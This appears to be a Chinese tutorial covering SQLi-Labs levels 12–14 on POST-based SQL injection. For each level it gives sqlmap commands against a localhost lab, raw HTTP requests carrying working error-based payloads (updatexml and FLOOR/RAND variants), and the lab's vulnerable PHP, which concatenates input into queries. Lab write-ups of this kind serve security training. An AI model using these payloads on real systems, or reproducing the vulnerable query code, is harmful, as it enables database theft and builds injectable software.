【Mysql sql inject】【入门篇】SQLi-Labs使用 part 2【12-14】

    这几关主要是考察POST形式的SQLi注入闭合

## Less-12 - POST - Error Based- Double quotes- String

### 1）知识点

    主要考察报错注入中的双引号闭合注入情况。

### 2）工具用法：

SQLMAP POST注入用法之一，注入点处加 * 号，也可以用-r选项。
sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-12/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

### 3）手工注入

POST /hacker/sqli-labs-master/Less-12/index.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
 
uname=111") UNION ALL SELECT 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

### 4）注入点代码

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
 
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."
");
fwrite($fp,'Password:'.$passwd."
");
fclose($fp);
 
 
// connectivity
$uname='"'.$uname.'"';   //双引号闭合
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

## Less-13- Double Injection- String- with twist

### 1）知识点

    主要考察报错注入中的单引号+括号闭合注入情况。

### 2）工具用法：

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-13/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

### 3）手工注入

POST /hacker/sqli-labs-master/Less-13/index.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
 
uname=111') union select 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

或者使用FLOOR报错

uname=-2672') OR 1 GROUP BY CONCAT(0x7E,(SELECT DATABASE()),0x7E,FLOOR(RAND(0)*2)) HAVING MIN(0)#&passwd=11&submit=Submit

### 4）注入点产生代码

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
 
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."
");
fwrite($fp,'Password:'.$passwd."
");
fclose($fp);
 
 
// connectivity
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

## Less-14- Double Injection- Double quotes- String

### 1）工具用法：

sqlmap -u "http://127.0.0.1/hacker/sqli-labs-master/Less-14/index.php" --data "uname=111*&passwd=111&submit=Submit" --current-db --threads 10 --batch --technique BES

### 2）手工注入

POST /hacker/sqli-labs-master/Less-14/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
 
uname=111" union select 1,updatexml(1,concat(0x7e,database()),1) #&passwd=111&submit=Submit

### 3）注入点产生代码

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
 
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."
");
fwrite($fp,'Password:'.$passwd."
");
fclose($fp);
 
 
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);